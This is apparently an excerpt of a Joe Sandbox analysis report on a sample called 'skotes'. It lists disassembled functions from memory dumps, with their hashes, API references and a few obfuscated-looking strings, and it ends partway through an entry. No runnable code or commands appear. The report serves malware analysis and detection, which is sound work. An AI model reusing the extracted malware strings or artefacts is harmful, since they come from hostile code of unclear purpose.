Snapshot File: hcaresult_6_2_53e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e55d8d920b248ec9644d28f379e6ffe70f1fabe5ec2097c5bb56edb61dfbd1d5
Instruction ID: 8749b66b08d8835378fa0610b3eb12f207b631f1519a2dca43ec292b558d364f
Opcode Fuzzy Hash: e55d8d920b248ec9644d28f379e6ffe70f1fabe5ec2097c5bb56edb61dfbd1d5
Instruction Fuzzy Hash: B3F0C9FF15C135BCB056C5823B28AFB57ADE0D1734370C827F442C1882D6C96A5E6672

Function 053E0D57 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3382973415.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5f85a5ddcd5bd546b3d01ad1e3f9b386383d9ab88daa409532d30efaf0594e2
Instruction ID: 45cb70a9fb07257ec8f1347ce39778062dd8792cac48d7752e2e029a9755f91f
Opcode Fuzzy Hash: c5f85a5ddcd5bd546b3d01ad1e3f9b386383d9ab88daa409532d30efaf0594e2
Instruction Fuzzy Hash: 6CE06DBF10C460AEB052C1827E29AFBA3AEE5D0B307308827F843C2582D2D9154E6132

Function 053E0D88 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3382973415.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 168a9fc28f4538f3773a943bc5029c7bced327a2be61ab581ef1a9f4ed1b56d1
Instruction ID: d46b764005183d38b68383c3424d3edc7842f0136f5349411079fef896b0d1c6
Opcode Fuzzy Hash: 168a9fc28f4538f3773a943bc5029c7bced327a2be61ab581ef1a9f4ed1b56d1
Instruction Fuzzy Hash: 05D02B7644D060EE5151C541E80C9777BF8F681228330449BF58186481D6A41128F372

Non-executed Functions

Function 00D6E530 Relevance: 14.7, Strings: 11, Instructions: 998COMMON

Download Yara Rule

Strings

WDw=, xrefs: 00D6F71D, 00D6F9FA
WTs=, xrefs: 00D705CA
UA==, xrefs: 00D6EB0F, 00D6ED56
WTw=, xrefs: 00D7097D
111, xrefs: 00D6F7A0
246122658369, xrefs: 00D6F737, 00D6FA14, 00D705E7, 00D7099A
GnNoc2Hc, xrefs: 00D6E56C
MQ==, xrefs: 00D6E592
MGE+, xrefs: 00D6E821
#, xrefs: 00D70624
9c9aa5, xrefs: 00D6FB8E

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: ae4142d44967194096bb55c8932e4e39d0ff93def23a8384e6c3647e67c51957
Instruction ID: d7fec8b1ae4b4ad8926e239bde67a2547dfecee12d697c08b94bb1eb6eb4fb56
Opcode Fuzzy Hash: ae4142d44967194096bb55c8932e4e39d0ff93def23a8384e6c3647e67c51957
Instruction Fuzzy Hash: E082C3709042889BEF14EF68C9497DE7FB5EB05304F508599E809673C2E7759A88CBF2

Function 00DA31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00DA3323

Strings

1#QNAN, xrefs: 00DA44C1
1#INF, xrefs: 00DA44DE
1#SNAN, xrefs: 00DA44BA
1#IND, xrefs: 00DA44B3

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: bf35bd7ec1f8d96d4bb7911a3cf8b7fc872dc44106fbd25390ea4666dda74f0a
Instruction ID: 15260795e3d8da42ab1c4832ef6c2723935a73f89931f00901674ed4563c90bc
Opcode Fuzzy Hash: bf35bd7ec1f8d96d4bb7911a3cf8b7fc872dc44106fbd25390ea4666dda74f0a
Instruction Fuzzy Hash: A2C24F71E046288FDF25CE28DD407E9B7B6EB89315F1841EAE44DE7240E775AE818F60

Function 00DA2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aca8a56400d0d9b6085cf2f602b9ddd120ff48a6058094a875459b271ae8c9e
Instruction ID: dca450b38ae12a5102c2e64589b16aa623bf9edff4baf74195811914f105b945
Opcode Fuzzy Hash: 3aca8a56400d0d9b6085cf2f602b9ddd120ff48a6058094a875459b271ae8c9e
Instruction Fuzzy Hash: 41F13F71E002199FDF14CFA9C8806ADFBB2FF49314F198269E919A7344D731AE41CBA4

Function 00D7CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00D7CF52,?,?,?,?,00D7CF87,?,?,?,?,?,?,00D7C4FD,?,00000001), ref: 00D7CC03

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 4e6760ed1096268db362bf76514f75d1b9618cdbf8bcc199d97c50fc3d30381d
Instruction ID: 0055955766ff4464d91b96d46c8f98fb1f7d1bb561ae47a24db7cf6e081a23be
Opcode Fuzzy Hash: 4e6760ed1096268db362bf76514f75d1b9618cdbf8bcc199d97c50fc3d30381d
Instruction Fuzzy Hash: 58D02232612238EB8B1A2B94FC08CADBBA88B00B603045215ED0D93224CE10EDC08BF4

Function 00D97F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00D980B2

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 352dbbb8e1d4db2af8389c1a48d9e5e4672552d5efa776af032b59d3b33d735a
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: DC516B306187445ADF384E2888967FE679AAF13B00F1C0519E487F7292CE62DD4DA375

Function 00D64DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 066cac46bd10752de9288103684a0fdcea2f99404352cad82e6b501f5488259b
Instruction ID: 8ede3c8abb72d36ccc170e8b3605047507b2bcb66bf3a153a9ea99ce1db5ebcc
Opcode Fuzzy Hash: 066cac46bd10752de9288103684a0fdcea2f99404352cad82e6b501f5488259b
Instruction Fuzzy Hash: 142261B3F515144BDB0CCB5DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9159644

Function 00DA7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57014f049ed541a3c9b167e5716a71940e5b9ff4e298a3cb8128f61d03316137
Instruction ID: 8450353da52cf5ac52e2e1df3fbc1143712af35882910919afd95f75895d4622
Opcode Fuzzy Hash: 57014f049ed541a3c9b167e5716a71940e5b9ff4e298a3cb8128f61d03316137
Instruction Fuzzy Hash: 84B14C31614605DFDB18CF28C886B657BE0FF46364F298658E8D9CF2A1C335E992CB54

Function 00D64B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a206d52fa913c7161ed381a9212eedb5bb86cb4ce16f42bf61ad81c88c1232c
Instruction ID: 07db605f602e5a45ca9e27ce672efb5e7034e6ddc50fb59ab69096645352c276
Opcode Fuzzy Hash: 8a206d52fa913c7161ed381a9212eedb5bb86cb4ce16f42bf61ad81c88c1232c
Instruction Fuzzy Hash: 3981EC70E002468FEB15CF68D890BEEBBF5FB1A300F190269D851A7352C7359945CBB0

Function 00D7D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00D624BE

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 37439dc5b40f57bf1b736cf311d05dbc0e93d8b415b8bcdd17a904ab299e2eb0
Instruction ID: a00c4966379bf15db213c5b30d53e9368b4fb58362b065dfa24f9f5555fc6bb9
Opcode Fuzzy Hash: 37439dc5b40f57bf1b736cf311d05dbc0e93d8b415b8bcdd17a904ab299e2eb0
Instruction Fuzzy Hash: 9051B0B19057078BDB16CF59D885AADB7F2FF44314F28856AE409EB354E730A940CBB0

Function 00DA78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1934eaa9b604135fb573749e9bba6156e948bda675fe0c316d9445e1f307d16d
Instruction ID: c102b49a7805406e648664bdbad3fbd2a245feb4cea4d219404cd60b3f9703ca
Opcode Fuzzy Hash: 1934eaa9b604135fb573749e9bba6156e948bda675fe0c316d9445e1f307d16d
Instruction Fuzzy Hash: 3521B673F20539477B0CC47E8C5227DB6E1C78C541745823AE8A6EA2C1D968D917E2E4

Function 00DA779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e146e7752a1a5fba466e7692bc14d52d09031b38eac2f8f99c736f5b3a521545
Instruction ID: f9975cf7a799c7bbb08f6934f2bbbf4ac486e6171485de21ca499c60af57a254
Opcode Fuzzy Hash: e146e7752a1a5fba466e7692bc14d52d09031b38eac2f8f99c736f5b3a521545
Instruction Fuzzy Hash: DA118A33F30C255B675C817D8C1727A95D2DBD825071F533AD826E7384E994DE13D2A0

Function 00DA8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 06dd0d8cd24e211fa796af6a337df61c20332efb0f199023be0acbf952db2348
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: ED115B7720118243E604863DF8B85BBE795EBC73217AD437AC8814B748CE2ADC41B620

Function 00D9652B Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c496421388cec9da07444deacb704b0585d776b57ca0de86e1558d874ce58834
Instruction ID: ea8b4f2bf39dcbd49747984689da68346d56df998bf363c4e785f8fa9e85aee4
Opcode Fuzzy Hash: c496421388cec9da07444deacb704b0585d776b57ca0de86e1558d874ce58834
Instruction Fuzzy Hash: DFE0C231001148AFCFA9BB99CC4DE5D3B2AFF01B41F450800FE0886222CB39ED81C7A0

Function 00D9A302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

